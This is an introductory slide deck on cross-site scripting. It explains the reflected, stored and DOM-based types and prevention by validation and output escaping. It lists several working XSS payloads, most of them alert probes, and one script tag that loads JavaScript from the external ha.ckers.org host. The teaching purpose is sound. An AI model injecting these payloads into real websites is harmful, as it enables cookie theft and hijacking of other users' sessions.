Cross Site Scripting (XSS)
What is XSS ?
Cross Site Scripting
lXSS is a vulnerability which when present in websites or web
applications, allows malicious users (Hackers) to insert their
client side code (normally JavaScript) in those web pages.
lWhen this malicious code along with the original webpage gets
displayed in the web client (browsers like IE, Mozilla etc), allows
Hackers to gain greater access of that page.
XSS (-ve) effects
stealing other user’s cookies
l stealing their private information
l performing actions on behalf of other users
l redirecting to other websites
l
lShowing ads in hidden IFRAMES and pop-ups
Type of XSS attacks
lNon-persistent (Reflected)
lPersistent (Stored)
lDOM Based
Non-persistent
lWhen XSS code only gets displayed in the next page to the same user
and not gets saved into persistent storage like database.
lThis type of attack is less harmful, because Hacker can see only their
own cookies and can make modifications in their own current opened
pages.
Vector :
%u3008script%u3009alert(document.domain);%u3008/script%u3009
Persistent XSS
l In persistent type of XSS attack, XSS code gets saved into
persistent storage like database with other data and then it is visible
to other users also.
l This type of attack is more vulnerable, because Hacker can steal
cookies and can make modifications in the page.
Vector:
<b onmouseover=alert(/000/);>Click me!</b>
DOM based attack
lDOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack
payload is executed as a result of modifying the DOM environment
in the victim s browser used by the original client side script, so that
the client side code runs in an unexpected manner.
l That is, the page itself (the HTTP response that is) does not change,
but the client side code contained in the page executes differently due
to the malicious modifications that have occurred in the DOM
environment.
l
Vector:
#”><img src=x onerror=prompt(1);>
Prevention
Never trust the
user input data
No matter where it’s coming from (
GET, POST, COOKIE etc.
Validation at server
lBy sanitizing the input data, we can prevent the malicious
code to enter in the system.
lChecking the proper data types helps in cleaning the data.
First of all we should restrict numeric data for numeric fields and
only alphanumeric characters for text fields
l
lWhite lists – Allow <strong>, <em> and <br> only – Does help,
but not 100%
l
lBlacklists – Block <script> and other attributes such as onload,
onclick, onmouseover etc.
Demo:Bypassing Blacklist WAF
Validation at client side
lBy performing client side (JavaScript) validation,
before submitting the data to server, helps only in
usability aspect of the website.
lIt can’t provide any actual security, because user can
disable the JavaScript. Many JavaScript libraries and
frameworks are available for this.
Escaping output at server
Problem characters can include < > "  &.These characters can be
replaced with HTML character entities.
For example, < can be replaced with &lt;.
5 Rules for escaping output
#1 - HTML Escape before inserting into element content
#2 - Attribute Escape before inserting into attributes
#3 - JavaScript Escape before inserting into JavaScript data values
#4 - CSS Escape before inserting into style property values
#5 - URL Escape before inserting into URL attributes
XSS vectors
l<IMG SRC=javascript:alert('XSS')>
l<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
l<IMG SRC=javascript:alert(&quot;XSS&quot;)>
l<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
l<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
l<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
l<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#11
2;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&
#88;&#83;&#83;&#39;&#41;>
l
References
http://en.wikipedia.org
http://ha.ckers.org/xss.html
http://www.bugsheet.com/cheat-sheets/100-xss-vectors-by-
ashar-javed
http://www.acsa-
admin.org/openconf2008/modules/request.php?module=oc_pr
ogram&action=view.php&id=104
Thank you

More Related Content

PPTX
Cross Site Scripting (XSS)
PPT
Identifying Cross Site Scripting Vulnerabilities in Web Applications
PPTX
What is xss, blind xss and xploiting google gadgets
PPTX
Secure coding | XSS Attacks on current Web Applications
PPTX
Cross Site Scripting Defense Presentation
PDF
XSS Injection Vulnerabilities
Cross Site Scripting (XSS)
Identifying Cross Site Scripting Vulnerabilities in Web Applications
What is xss, blind xss and xploiting google gadgets
Secure coding | XSS Attacks on current Web Applications
Cross Site Scripting Defense Presentation
XSS Injection Vulnerabilities

What's hot (20)

PDF
The Cross Site Scripting Guide
PDF
Cross site scripting
PPTX
Cross-Site Scripting (XSS)
PPT
Cross site scripting (xss)
PPTX
Cross site scripting
PPT
Xss ppt
PPTX
Cross Site Scripting
PPTX
Deep understanding on Cross-Site Scripting and SQL Injection
PPTX
Cross Site Scripting(XSS)
PPTX
Reflective and Stored XSS- Cross Site Scripting
PPTX
Cross Site Scripting ( XSS)
PPTX
XSS- an application security vulnerability
PDF
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
PPTX
Cross site scripting
PPTX
Cross site scripting (xss)
PPTX
PDF
XSS-Alert-Pentration testing tool
PDF
Cross site scripting attacks and defenses
PPTX
Xss what the heck-!
PPTX
Understanding dom based xss
The Cross Site Scripting Guide
Cross site scripting
Cross-Site Scripting (XSS)
Cross site scripting (xss)
Cross site scripting
Xss ppt
Cross Site Scripting
Deep understanding on Cross-Site Scripting and SQL Injection
Cross Site Scripting(XSS)
Reflective and Stored XSS- Cross Site Scripting
Cross Site Scripting ( XSS)
XSS- an application security vulnerability
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting
Cross site scripting (xss)
XSS-Alert-Pentration testing tool
Cross site scripting attacks and defenses
Xss what the heck-!
Understanding dom based xss
Ad

Viewers also liked (20)

PPTX
Baseball stats
PDF
Nomadic Display Setup Fabri Mural
PPTX
Internet safety presentation
PPTX
8800117436 Projects in Haridwar in MARVELLA CITY
PDF
The Art of Social Media: Tips & Tricks
PPTX
Mobile application security 101
PDF
CSM Storage Debugging
PDF
World Cup! Young Germany Guest Blogging
PPTX
UGA Guest Lecture: Social Media 101
PDF
Null July - OWTF - Bharadwaj Machiraju
DOC
So you want to retire in florida 1997 far
DOC
So you want to retire in florida 1997 far
PPTX
Example problems
PDF
Social engineering by-rakesh-nagekar
PPTX
Uga Webinar Series: building credibility as a young professional
PPTX
Marvella city a complete township in haridwar
PPSX
Securitynewsbytes april2015-150418153901-conversion-gate01
PPTX
88001174636 Marvella city in haridwar
PPTX
Pengenalan Pillow Lava di Berbah,Sleman,Yogyakarta
PDF
Raspberry pi 2
Baseball stats
Nomadic Display Setup Fabri Mural
Internet safety presentation
8800117436 Projects in Haridwar in MARVELLA CITY
The Art of Social Media: Tips & Tricks
Mobile application security 101
CSM Storage Debugging
World Cup! Young Germany Guest Blogging
UGA Guest Lecture: Social Media 101
Null July - OWTF - Bharadwaj Machiraju
So you want to retire in florida 1997 far
So you want to retire in florida 1997 far
Example problems
Social engineering by-rakesh-nagekar
Uga Webinar Series: building credibility as a young professional
Marvella city a complete township in haridwar
Securitynewsbytes april2015-150418153901-conversion-gate01
88001174636 Marvella city in haridwar
Pengenalan Pillow Lava di Berbah,Sleman,Yogyakarta
Raspberry pi 2
Ad

Similar to Xss 101 by-sai-shanthan (20)

PDF
Introduction to Cross Site Scripting ( XSS )
PDF
xss-100908063522-phpapp02.pdf
PDF
SeanRobertsThesis
PPT
CROSS SITE SCRIPTING.ppt
PDF
React security vulnerabilities
PDF
Complete xss walkthrough
PPTX
Xss attack
PPTX
.NET Security Topics
PDF
XSS Exploitation
PDF
Session7-XSS & CSRF
PPT
4.Xss
PPTX
STORED XSS IN DVWA
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PPTX
Cm7 secure code_training_1day_xss
PPTX
XSS: From alert(1) to crypto mining malware
DOCX
Pantallas escaneo Sitio Web
PPTX
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
PDF
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
PDF
XSS.pdf
PDF
XSS.pdf
Introduction to Cross Site Scripting ( XSS )
xss-100908063522-phpapp02.pdf
SeanRobertsThesis
CROSS SITE SCRIPTING.ppt
React security vulnerabilities
Complete xss walkthrough
Xss attack
.NET Security Topics
XSS Exploitation
Session7-XSS & CSRF
4.Xss
STORED XSS IN DVWA
Website hacking and prevention (All Tools,Topics & Technique )
Cm7 secure code_training_1day_xss
XSS: From alert(1) to crypto mining malware
Pantallas escaneo Sitio Web
A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
XSS.pdf
XSS.pdf

More from Raghunath G (17)

PPSX
Securitynewsbytes
PPT
Whats app forensic
PPTX
Seh based exploitation
PPTX
Analysis of malicious pdf
PPTX
Security News Bytes
PPTX
Is iso 27001, an answer to security
PDF
Null HYD Playing with shodan null
PDF
Null HYD VRTDOS
PPTX
Metasploit
PPTX
Newsbytes_NULLHYD_Dec
PPT
Null dec 2014
PDF
Security News Bytes
PPTX
Decoy documents
PDF
Spear phishing attacks-by-hari_krishna
PDF
Netcat 101 by-mahesh-beema
PDF
The art of_firewalking-by-sujay
PDF
Heartbleed by-danish amber
Securitynewsbytes
Whats app forensic
Seh based exploitation
Analysis of malicious pdf
Security News Bytes
Is iso 27001, an answer to security
Null HYD Playing with shodan null
Null HYD VRTDOS
Metasploit
Newsbytes_NULLHYD_Dec
Null dec 2014
Security News Bytes
Decoy documents
Spear phishing attacks-by-hari_krishna
Netcat 101 by-mahesh-beema
The art of_firewalking-by-sujay
Heartbleed by-danish amber

Recently uploaded (20)

PDF
WOOl fibre morphology and structure.pdf for textiles
PDF
A novel scalable deep ensemble learning framework for big data classification...
PDF
Taming the Chaos: How to Turn Unstructured Data into Decisions
PDF
Enhancing emotion recognition model for a student engagement use case through...
PPTX
Final SEM Unit 1 for mit wpu at pune .pptx
PPTX
Benefits of Physical activity for teenagers.pptx
PPTX
Modernising the Digital Integration Hub
PDF
Unlock new opportunities with location data.pdf
PDF
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PDF
STKI Israel Market Study 2025 version august
PDF
Getting Started with Data Integration: FME Form 101
PDF
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
PDF
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
PDF
sustainability-14-14877-v2.pddhzftheheeeee
PDF
Assigned Numbers - 2025 - Bluetooth® Document
PDF
Hybrid model detection and classification of lung cancer
PDF
August Patch Tuesday
PPTX
The various Industrial Revolutions .pptx
WOOl fibre morphology and structure.pdf for textiles
A novel scalable deep ensemble learning framework for big data classification...
Taming the Chaos: How to Turn Unstructured Data into Decisions
Enhancing emotion recognition model for a student engagement use case through...
Final SEM Unit 1 for mit wpu at pune .pptx
Benefits of Physical activity for teenagers.pptx
Modernising the Digital Integration Hub
Unlock new opportunities with location data.pdf
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
Univ-Connecticut-ChatGPT-Presentaion.pdf
STKI Israel Market Study 2025 version august
Getting Started with Data Integration: FME Form 101
Transform Your ITIL® 4 & ITSM Strategy with AI in 2025.pdf
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
sustainability-14-14877-v2.pddhzftheheeeee
Assigned Numbers - 2025 - Bluetooth® Document
Hybrid model detection and classification of lung cancer
August Patch Tuesday
The various Industrial Revolutions .pptx

Xss 101 by-sai-shanthan